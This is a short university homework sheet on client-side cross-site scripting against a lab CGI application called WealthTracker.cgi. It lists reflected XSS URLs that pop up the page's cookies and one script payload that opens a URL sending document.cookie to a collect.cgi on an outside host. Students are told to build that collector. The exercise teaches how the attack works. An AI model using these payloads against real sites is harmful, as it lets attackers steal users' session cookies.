

CISC 367 – Spring 2016

Homework Assignment – Client-side XSS Attack

Download WealthTracker.cgi.

```
http://<IP>/cgi-bin/WealthTracker.cgi?name=<script>alert(document.cookie);</script>
```

```
http://<IP>/cgi-bin/WealthTracker.cgi?name=<script>alert("Hello from a cookie stealer");</script>
```

Implement a collect.cgi and demonstrate that an attacker's website could collect victim's cookies.

```
http://<IP>/cgi-bin/WealthTracker.cgi?
```

```
name=<script>window.open("http://www.cis.udel.edu/cgi-bin/collect.cgi?cookie="+document.cookie)</script>
```
